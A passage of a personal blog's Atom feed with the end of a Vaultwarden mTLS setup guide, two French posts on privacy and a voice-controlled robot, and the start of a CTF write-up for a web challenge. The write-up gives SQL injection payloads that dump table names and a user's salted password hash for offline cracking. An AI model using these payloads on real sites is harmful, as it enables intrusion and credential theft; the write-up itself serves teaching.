&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;        &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;caFiles&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;          &lt;span class=&quot;z-punctuation z-definition z-block z-sequence z-item z-yaml&quot;&gt;-&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&#x2F;etc&#x2F;traefik&#x2F;custom-ca&#x2F;ca.crt&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;        &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;clientAuthType&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;RequireAndVerifyClientCert&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;&lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;http&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;  &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;routers&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;    &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;vautlwarden-router&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;rule&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-yaml&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;Host(`vault-domain.example.com`)&lt;span class=&quot;z-punctuation z-definition z-string z-end z-yaml&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;service&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;vaultwarden-service&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; specifying &amp;quot;tls&amp;quot; automatically blocks HTTP access
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;tls&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;        &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;certResolver&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;letsencrypt&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;        &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;options&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;mtls&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;  &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;services&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;    &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;vaultwarden-service&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;loadBalancer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;        &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;servers&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;          &lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; Docker takes care of DNS for us, using the container&amp;#39;s
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;          &lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; declared name in the Docker Compose file
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;          &lt;span class=&quot;z-punctuation z-definition z-block z-sequence z-item z-yaml&quot;&gt;-&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;url&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-yaml&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;http:&#x2F;&#x2F;vaultwarden&lt;span class=&quot;z-punctuation z-definition z-string z-end z-yaml&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;By keeping things modular like this, you only need to add a new dynamic configuration for a new service, and modifying it will update Traefik without needing it to restart.&lt;&#x2F;p&gt;
&lt;p&gt;We’re all done! Now, when visiting &lt;code&gt;vault-domain.example.com&lt;&#x2F;code&gt;, Traefik asks us to supply a client certificate:&lt;&#x2F;p&gt;
&lt;figure&gt;
&lt;img class=&quot;no-hover&quot;alt=&quot;Traefik asks our browser for a client certificate.&quot;src=&quot;traefik-asks-client-cert.webp&quot;&#x2F;&gt;
&lt;figcaption&gt;Traefik asks our browser for a client certificate.&lt;&#x2F;figcaption&gt;
&lt;&#x2F;figure&gt;
&lt;p&gt;The connection then succeeds with our Vaultwarden container:&lt;&#x2F;p&gt;
&lt;figure&gt;
&lt;img class=&quot;no-hover&quot;alt=&quot;Vaultwarden&amp;#x27;s login page, displayed after the mTLS authentication.&quot;src=&quot;vaultwarden-login.webp&quot;&#x2F;&gt;
&lt;figcaption&gt;Vaultwarden&#x27;s login page, displayed after the mTLS authentication.&lt;&#x2F;figcaption&gt;
&lt;&#x2F;figure&gt;
&lt;h1 id=&quot;wrapping-up&quot;&gt;Wrapping up&lt;&#x2F;h1&gt;
&lt;p&gt;First of all, at this point, &lt;strong&gt;the Bitwarden browser extension should work&lt;&#x2F;strong&gt;: it will ask you for your client certificate, which you already loaded into your browser, when needed. No need to reinstall it or modify your existing configuration.&lt;&#x2F;p&gt;
&lt;p&gt;However, we still need a new client certificate for our mobile Bitwarden app, and the corresponding PKCS#12 file:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmd&quot; class=&quot;language-cmd z-code&quot;&gt;&lt;code class=&quot;language-cmd&quot; data-lang=&quot;cmd&quot;&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;step certificate create Mobile mobile.crt mobile.key \
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;    --profile leaf --&lt;span class=&quot;z-keyword z-operator z-logical z-dosbatch&quot;&gt;not&lt;&#x2F;span&gt;-after=8760h \
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;    --ca .&#x2F;ca-root.crt --ca-key .&#x2F;ca-root.key --bundle
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;step certificate p12 mobile.p12 mobile.crt mobile.key
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You’ll have to do that again, for your browser and mobile app, one year from now.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Securely&lt;&#x2F;strong&gt; copy the &lt;code&gt;mobile.p12&lt;&#x2F;code&gt; file to your mobile phone (for example, using a USB cable). You’ll then need to remove your Bitwarden app data, and create a new access from scratch: logging out of your account, and trying to log back in isn’t enough (yet).&lt;&#x2F;p&gt;
&lt;p&gt;When launching the app after removing its data, you’ll have to supply your self-hosted settings, and you’ll see the option allowing you to input your client certificate:&lt;&#x2F;p&gt;
&lt;figure&gt;
&lt;img class=&quot;no-hover&quot;alt=&quot;The Bitwarden mobile app self-hosted server settings, after supplying my client certificate.&quot;src=&quot;bitwarden-mobile-app-settings.webp&quot;&#x2F;&gt;
&lt;figcaption&gt;The Bitwarden mobile app self-hosted server settings, after supplying my client certificate.&lt;&#x2F;figcaption&gt;
&lt;&#x2F;figure&gt;
&lt;p&gt;🎉 &lt;strong&gt;Your mTLS-secured access to your password vault is now operational!&lt;&#x2F;strong&gt; 🎉&lt;&#x2F;p&gt;
&lt;p&gt;Thank you for making it this far! If you have anything to add or a question, you can leave a comment below.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Votre vie privée dans le monde d&#x27;aujourd&#x27;hui</title>
        <published>2019-03-15T00:00:00+00:00</published>
        <updated>2019-03-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Yassine Zouggari
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://zoug.fr/pph-votre-vie-privee-aujourd-hui/"/>
        <id>https://zoug.fr/pph-votre-vie-privee-aujourd-hui/</id>
        
        <content type="html" xml:base="https://zoug.fr/pph-votre-vie-privee-aujourd-hui/">&lt;p&gt;La vie privée dans le monde d’aujourd’hui est un thème très large et difficile à aborder, car relativement technique et, à première vue pour beaucoup, d’importance moindre. Pourtant, il s’agit d’un sujet qui me tient à coeur, et qui est à mes yeux une des fondations de notre société. Sans vie privée, il est beaucoup plus difficile d’exercer nos autres droits, et c’est la société dans son ensemble qui souffre si toutes les actions de ses citoyens sont surveillées.&lt;&#x2F;p&gt;
&lt;p&gt;Dans le cadre de mes études à l’INSA Lyon, j’ai donc choisi ce thème pour mon PPH (Projet Personnel en Humanités). Cela a été l’occasion pour moi de bien creuser le domaine et de l’aborder sérieusement. Le résultat est, il faut le dire, loin d’être parfait, mais reste une très bonne introduction au sujet. La bibliographie est la partie la plus intéressante du travail, et j’ai été longtemps occupé à recouper, sélectionner les sources, pour fournir au lecteur une introduction aussi rigoureuse et impartiale que possible.&lt;&#x2F;p&gt;
&lt;p&gt;Je vous propose donc ici de découvrir mon travail et espère qu’il sera utile à quelqu’un:&lt;&#x2F;p&gt;
&lt;object data=&#x27;pph.pdf&#x27; type=&quot;application&#x2F;pdf&quot; width=&quot;100%&quot; height=&quot;1100&quot;&gt;
  &lt;a href=&quot;pph.pdf&quot;&gt;Ouvrir le PDF&lt;&#x2F;a&gt;
&lt;&#x2F;object&gt;
&lt;p&gt;&lt;strong&gt;Mise à jour&lt;&#x2F;strong&gt;: j’ai eu le plaisir de participer à l’émission Twitch de Mediapart, &lt;a href=&quot;https:&#x2F;&#x2F;www.mediapart.fr&#x2F;studio&#x2F;videos&#x2F;emissions&#x2F;abonnez-vous&quot;&gt;Abonnez-vous&lt;&#x2F;a&gt;, en temps que membre de leur service technique. Beaucoup de sujets ont été abordés, la discussion finale est très riche : j’espère trouver un jour le temps d’extraire les moments intéressants et revenir dessus plus en profondeur (avec des graphiques, ce sera sûrement beaucoup plus digeste).&lt;&#x2F;p&gt;
&lt;p&gt;Les invités choisissent en général un article qu’ils ou elles souhaitent lire et discuter pendant l’émission, et pour ma part, c’est cet article sur la vie privée que j’ai choisi de mettre en avant. Vous pouvez regarder l’émission complète sur YouTube :&lt;&#x2F;p&gt;
&lt;iframe
	class=&quot;youtube-embed&quot;
	src=&quot;https:&#x2F;&#x2F;www.youtube-nocookie.com&#x2F;embed&#x2F;XSXatW5RL10&quot;
	allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot;
	referrerpolicy=&quot;strict-origin-when-cross-origin&quot; allowfullscreen&gt;
&lt;&#x2F;iframe&gt;
&lt;p&gt;Un grand merci à Ana qui m’a mis le plus à l’aise possible, autant avant l’émission que pendant, merci à Jade d’avoir géré la modération pendant ce live et pour être passée à la fin, et bien sûr merci à toutes celles et à tous ceux ayant posé des questions ou réagi dans le tchat pendant la diffusion.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Découverte de Snips (fhacktory: RemixRobot)</title>
        <published>2018-10-28T00:00:00+00:00</published>
        <updated>2018-10-28T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Yassine Zouggari
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://zoug.fr/fhacktory-remix-robot/"/>
        <id>https://zoug.fr/fhacktory-remix-robot/</id>
        
        <content type="html" xml:base="https://zoug.fr/fhacktory-remix-robot/">&lt;p&gt;J’ai participé il y a quelques semaines au &lt;em&gt;fhacktory&lt;&#x2F;em&gt;, un petit évènement très sympathique organisé par mes anciens collègues de chez &lt;a href=&quot;https:&#x2F;&#x2F;rtone.fr&#x2F;&quot;&gt;Rtone&lt;&#x2F;a&gt;, à Lyon. Le principe, former des équipes avec les autres participants, laisser les organisateurs nous noyer dans une marée de Legos, objets connectés, Rapsberry Pis et gadgets en tout genre, avec pour objectif de trouver une idée de projet et de l’exécuter en 24h non-stop.&lt;&#x2F;p&gt;
&lt;p&gt;Pour cette édition, nous nous sommes lancés avec Ewen et Pascal dans RemixRobot. Il s’agit d’un petit robot Lego Mindstorm, équipé d’une Raspberry Pi et avec un support improvisé pour sa caméra, qui suit la personne la plus proche dans son champ de vision, tout en lui jouant sa musique favorite. La personne en question peut donner des ordres vocaux à RemixRobot (“couché”, “suis-moi”, “joue la chanson suivante&#x2F;précédente”, “pause&#x2F;play”…).&lt;&#x2F;p&gt;
&lt;p&gt;Avant de se plonger dans le détail de la chose, voilà à quoi ressemble le résultat final:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;zoug.fr&#x2F;fhacktory-remix-robot&#x2F;remix-robot.webp&quot; alt=&quot;Remix Robot&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;On a aussi filmé le résultat final (robot qui joue de la musique, comprend les ordres via Snips, et suit la personne devant lui), malheureusement je n’ai pas la vidéo ☹️.&lt;&#x2F;p&gt;
&lt;p&gt;Je me suis personnellement plus concentré sur la partie commande vocale avec Snips. Et, avantage décisif à mon humble avis, le traitement de vos ordres vocaux se fait exclusivement en local! Pas besoin d’envoyer à Amazon ou Google ou quiconque la moindre demande faite à leur assistant connecté, pas besoin d’avoir confiance dans le fait que les flux audio captés ne sont pas analysés, ni à se préoccuper de l’utilisation de vos données, etc. Votre assistant personnel, complètement décentralisé, et pas besoin d’Internet pour l’utiliser. Et cerise sur le gâteau, Snips est distribué sous license GNU GPL v3.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;zoug.fr&#x2F;fhacktory-remix-robot&#x2F;happy-stallman.webp&quot; alt=&quot;Happy Stallman&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Snips suit globalement la logique suivante: il faut tout d’abord installer la plateforme Snips sur votre Raspberry (ou autre), puis utiliser la &lt;a href=&quot;https:&#x2F;&#x2F;console.snips.ai&#x2F;login&quot;&gt;web console&lt;&#x2F;a&gt; pour créer votre propre “application”. A partir de là, il faut déclarer des “intents”, des cas d’utilisation de votre application. Dans notre cas nous avions un intent “playbackControl” et “motorFunctions” pour nos deux grandes fonctions, gérer le playback (suivant, précédent, pause, play…) et l’activation&#x2F;désactivation des mouvements du robot. Dans chaque intent, il est possible de déclarer des “slots”, à savoir des sens précis de requêtes (lowerVolume, higherVolume pour l’intent playbackControl par exemple).&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;zoug.fr&#x2F;fhacktory-remix-robot&#x2F;interface-web-console-snips.webp&quot; alt=&quot;Interface web console Snips&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Et maintenant, il n’y a plus qu’à fournir un maximum d’exemples de phrases probables, en indiquant l’intent à comprendre, et associer certains mots à un slot précis (“Joue plus fort” doit entraîner l’intent playbackControl, et “plus fort” doit être associé au slot higherVolume).&lt;&#x2F;p&gt;
&lt;p&gt;Et une fois ce processus un peu fastidieux terminé, c’est magique: on entraîne cet assistant vocal customisé par l’appui d’un simple bouton, et une simple commande lui permet d’être déployé: &lt;code&gt;sam install assistant -i proj_XXX&lt;&#x2F;code&gt;. Il sera capable de comprendre les phrases entrées, mais également des variations, le but étant de comprendre le language naturel de l’utilisateur.&lt;&#x2F;p&gt;
&lt;p&gt;Nous avons donc à présent notre assistant Snips, qui écoute l’entrée micro, se réveille quand il entend “Hey Snips” et interprète ensuite ce qu’il entend en un intent et un slot. Pour y associer les actions discutées précédemment, la solution choisie est de simplement se connecter au mqtt que Snips démarre, traiter chaque message et y associer une action. Ces actions sont des appels à la web API de Spotify pour gérer la musique.&lt;&#x2F;p&gt;
&lt;p&gt;Pour le reste, mes collègues seraient plus à même de décrire précisément ce qui a été fait, mais globalement &lt;a href=&quot;https:&#x2F;&#x2F;sites.google.com&#x2F;site&#x2F;ev3python&#x2F;&quot;&gt;EV3 Python&lt;&#x2F;a&gt; a été installé pour pouvoir communiquer avec les moteurs du Lego Mindstorm en Python. La vision était quant à elle gérée via OpenCV sur la Raspberry, qui traite ces infos et envoie des ordres aux moteurs. Dernière pièce du puzzle, un serveur écoutait les ordres venant de mon script Snips (une requête lui est envoyée quand l’ordre est “suis-moi” ou “couché”), et suspend&#x2F;reprend l’envoi des ordres aux moteurs.&lt;&#x2F;p&gt;
&lt;p&gt;Tout le code est disponible sur &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;3wnbr1&#x2F;Remix-Robot&quot;&gt;ce repo&lt;&#x2F;a&gt;, si vous souhaitez y jeter un oeil.&lt;&#x2F;p&gt;
&lt;p&gt;En conclusion, cette édition a été très fun, nous nous sommes beaucoup amusés et RemixRobot est largement à la hauteur de nos espérances! Et surtout, j’ai pu repartir avec un petit kit Snips :) merci aux organisateurs et à la prochaine!&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>INS&#x27;HACK 2018: CrimeMail (web, 100)</title>
        <published>2018-05-01T00:00:00+00:00</published>
        <updated>2018-05-01T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Yassine Zouggari
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://zoug.fr/inshack-2018-crimemail/"/>
        <id>https://zoug.fr/inshack-2018-crimemail/</id>
        
        <content type="html" xml:base="https://zoug.fr/inshack-2018-crimemail/">&lt;p&gt;Every year, the goods folks of &lt;a href=&quot;http:&#x2F;&#x2F;insecurity-insa.fr&#x2F;&quot;&gt;InSecurity INSA&lt;&#x2F;a&gt;, an offensive computer hacking association, organize &lt;strong&gt;INS’HACK&lt;&#x2F;strong&gt;. If you guys aren’t familiar with the event, held once a year in Lyon, France, I strongly suggest you to take a look &lt;a href=&quot;http:&#x2F;&#x2F;inshack.insecurity-insa.fr&#x2F;&quot;&gt;here&lt;&#x2F;a&gt;. Who knows, maybe I’ll see you at the next edition!&lt;&#x2F;p&gt;
&lt;p&gt;INS’HACK is split in two parts: first, 3 hand-picked high-quality cybersecurity conferences, the role was (extremeluy well) played this year by OVH, Mozilla, Orange and Certilience. And later in the evening, an on-site CTF! The infrastructure is no longer online as you probably guessed, but if you want to take a look at the challenges and their writeups, go to &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;HugoDelval&#x2F;inshack-2018&quot;&gt;our official GitHub repo&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;As a part of the organizing team, I got to write some challenges for the event: namely &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;HugoDelval&#x2F;inshack-2018&#x2F;tree&#x2F;master&#x2F;misc&#x2F;self-congratulation&quot;&gt;Self-congratulation&lt;&#x2F;a&gt;, &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;HugoDelval&#x2F;inshack-2018&#x2F;tree&#x2F;master&#x2F;network&#x2F;on-whose-authority&quot;&gt;On whose authority&lt;&#x2F;a&gt;, and &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;HugoDelval&#x2F;inshack-2018&#x2F;tree&#x2F;master&#x2F;web&#x2F;crimemail&quot;&gt;CrimeMail&lt;&#x2F;a&gt;. Today, we’re here to talk about the latter, so don’t go checking the solution just yet.&lt;&#x2F;p&gt;
&lt;p&gt;If you want to try and solve the challenge yourself, you can: you need to install a webserver of your choice along with PHP, and a MySQL database, then feed it the init.sql SQL script: you’ll find what you need to serve in &lt;em&gt;server-files&#x2F;app&lt;&#x2F;em&gt;, and the script in &lt;em&gt;server-files&#x2F;conf&lt;&#x2F;em&gt;. Now, I realise asking you to NOT look at the content of these files will maybe not play well with the paranoid type, but if you want to solve it, reading the sources would make it too easy!&lt;&#x2F;p&gt;
&lt;p&gt;Let’s jump into it! Let’s take a look at this CrimeMail website, and the description of the challenge:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;zoug.fr&#x2F;inshack-2018-crimemail&#x2F;crimemail-inshack-2018.webp&quot; alt=&quot;crimemail webpage&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Collins Hackle is a notorious bad guy, and you&amp;#39;ve decided to take him down. You need something on him, anything, to send the police his way, and it seems he uses CrimeMail, a very specialized email service, to communicate with his associates.    
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Let&amp;#39;s see if you can hack your way in his account...    
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Hint: his password&amp;#39;s md5 is computed as follows: md5 = mdp($password + $salt) and Collins Hackle has a password which can be found in an english dictionary    
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Okey, so we need to find some way to get in this Collins Hackle guy’s email, and we’re already left with a pretty big hint: the password is stored salted, but a dictionary-attack will be effective against it. So we can assume we’ll have to find a way to steal the hash of the password along with the salt, then brute-force offline to find the password.&lt;&#x2F;p&gt;
&lt;p&gt;You probably already noticed the shady-looking “Lost your password” link. Let’s go there:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;zoug.fr&#x2F;inshack-2018-crimemail&#x2F;crimemail-lost-pw.webp&quot; alt=&quot;lost your password crimemail&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Let’s try some basic SQL injection, by entering &lt;code&gt;&#x27; OR 1=1 -- a&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;zoug.fr&#x2F;inshack-2018-crimemail&#x2F;crimemail-basic-sqli.webp&quot; alt=&quot;basic sql injection crimemail&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Bingo! The webpage displays the result of our query. Easy enough! We can now explore the database a bit, starting by extracting the name of the tables. On MySQL and SQL Server you have access to the &lt;em&gt;information_schema&lt;&#x2F;em&gt; table, where we can find all the metadata we’re looking for. For example: &lt;code&gt;&#x27; UNION SELECT table_name FROM information_schema.tables -- a&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;zoug.fr&#x2F;inshack-2018-crimemail&#x2F;crimemail-tables-sqli.webp&quot; alt=&quot;find tables sql injection crimemail&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;That “users” table look like exactly what we need. Digging a little deeper you’ll quickly find that its columns are &lt;em&gt;username&lt;&#x2F;em&gt;, &lt;em&gt;pass_md5&lt;&#x2F;em&gt;, &lt;em&gt;pass_salt&lt;&#x2F;em&gt; and &lt;em&gt;hint&lt;&#x2F;em&gt;. Here we’re interested in the Collins Hackle account, and by displaying them, the username seems to be “c.hackle”, the corresponding salt is “yhbG” and the hash is “f2b31b3a7a7c41093321d0c98c37f5ad”.&lt;&#x2F;p&gt;
&lt;p&gt;Let’s get cracking! The easy way is to find the password locally, now that you have the hash. To do so, you can try using a software like John the Ripper, or write an exploit in your favorite programming language: this is what we’ll do here. You need a file of passwords you’ll try, and you know the password is in an english dictionary. So you probably already have everything you need on your local (Linux) install, in &lt;em&gt;&#x2F;usr&#x2F;share&#x2F;dict&lt;&#x2F;em&gt; or &lt;em&gt;&#x2F;var&#x2F;lib&#x2F;dict&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;In Python 3:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python z-code&quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-python&quot;&gt;#&lt;&#x2F;span&gt;!&#x2F;usr&#x2F;bin&#x2F;env python
